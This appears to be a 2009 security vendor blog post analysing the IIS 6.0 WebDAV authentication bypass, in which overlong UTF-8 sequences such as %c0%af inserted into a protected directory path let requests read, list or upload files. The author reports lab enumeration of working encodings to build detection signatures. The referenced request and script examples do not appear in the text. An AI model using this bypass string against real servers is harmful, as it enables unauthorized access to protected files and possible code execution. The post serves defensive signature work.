MAY 22, 2009

'Slash' and Burn - The IIS 6.0 WebDAV Bug

Update: The iisunicode.rb script was updated to use the correct character sets for each encoding size. Some typos and the description of the script were corrected

On May 12, 2009 Nikolaos Rangos released an advisory detailing an authentication bypass vulnerability in Microsoft IIS 6.0 servers running WebDAV. IIS 6.0 fails to properly handle unicode tokens when parsing URIs when WebDAV is enabled. This failure allows an attacker to access documents in a password-protected directory on the server, and in some configurations even upload documents to the server. Configurations that allow the IUSR_[HOSTNAME] Windows user write access to a WebDAV folder can be abused to perform file uploads. If the server is somewhat misconfigured, and ASP scripts can be uploaded to a directory outside the WebDAV folder (if for instance a non-WebDAV web folder is mapped to be inside the WebDAV root), and ASP scripts are enabled on the directory, it may be possible to execute ASP code on the server.

The advisory shows that the following request will bypass authentication on the IIS server:

The protected URI in question is /protected/protected.zip, with the string %c0%af inserted in the middle. This character is a forward-slash that's been converted to UTF-8 Unicode using the overlong encoding method with a size of 2, the result of which has been URI-encoded. An example of this using the Rex library from the Metasploit framework is shown here:

Thierry Zoller posted a comprehensive blogpost on the subject which included a video demonstrating HTTP GET requests downloading files from protected directories, HTTP PROPFIND requests listing protected directories, and HTTP PUT requests uploading ASP code to the IIS server. The video demonstrates the configuration of allowing ASP code to execute as I described above. He also cites work done by the folks behind SkullSecurity, who have posted their analysis as well as some code they created to exploit this vulnerability. Erik Fichtner also discovered this at the same time and contributed a patch to the metasploit module to support it. Check Point also released a a signature to detect attempts at exploiting this vulnerability.

I investigated this vulnerability in order to write strikes for this week's StrikePack. I wondered if %c0%af is the only unicode sequence that allows the authentication bypass. I setup an IIS server with WebDAV, created a password-protected directory, and put a single file inside the DAVroot that contained a string I could match on in a script. I then wrote a script that uses the Rex library, and manually tested a few characters and modified the UTF-8 encoding methods and byte sizes to use. I started finding that authentication bypass occurred using much more than a simple '/' character. I also started to see that it appeared that UTF-8 overlong encodings using 2- and 3-byte characters were the only cases in which authentication was bypassed. UTF-8 overlong encodings using 4-byte lengths or higher never bypassed authentication on the WebDAV server. The unicode-encoded character can appear anywhere inside of the protected directory name, meaning anywhere between the first and last forward slash in the directory part of the URI.

At this point, I decided to enumerate all the single-byte characters in the ASCII range using UTF-8 overlong encodings of size 2 and 3 to see what would work for bypassing authentication. The results were interesting. When using an encoding size of 2, 118 characters bypassed authentication. When using an encoding size of 3, 177 characters bypassed authentication. The differences in the 2 encoding sizes also showed something else interesting. In size-2 mode, many, but not all, of the alphabetic characters successfully bypassed authentication. However, in size-3 mode, no alphabetic characters were successful . In size-2 mode, no character above ASCII value 0x7f was successful , but in size-3 mode, they all were. I'm unsure of the reason behind why this is, but it will make detection a little more difficult for IPS signature teams.

After this discovery, I wondered if there were any invalid UTF-8 encodings that would work that I hadn't found yet. I wrote a script to enumerate all 65K possibilities from %00%00 to %ff%ff. The results from this method exactly agreed with my findings using the Rex library. I have written a version to brute thru the size-3 characters, but that set is 16 million long, which has exceeded my local resource limits. After correcting that, if there are any new findings, I will update this blog post.

I am making the script that uses the Rex library available. This script will produce an HTTP GET request that you can pipe to your server using netcat or something similar. You'll need to modify the Host: header, as well as the path to your protected directory ('/protected') and filename ('secretfile.txt').

Don't forget that any number of UTF-8 characters can be used, which makes detection somewhat interesting. IDS and IPS signatures for this vulnerability must be able to detect all possible encoded characters using multiple UTF-8 encoding lengths in order to block attempts to exploit this vulnerability.

I'll leave you with this example from some of my testing:

Customers can download StrikePacks 46157/46159 to get access to new strikes that test this vulnerability. StrikeCenter authentication is required.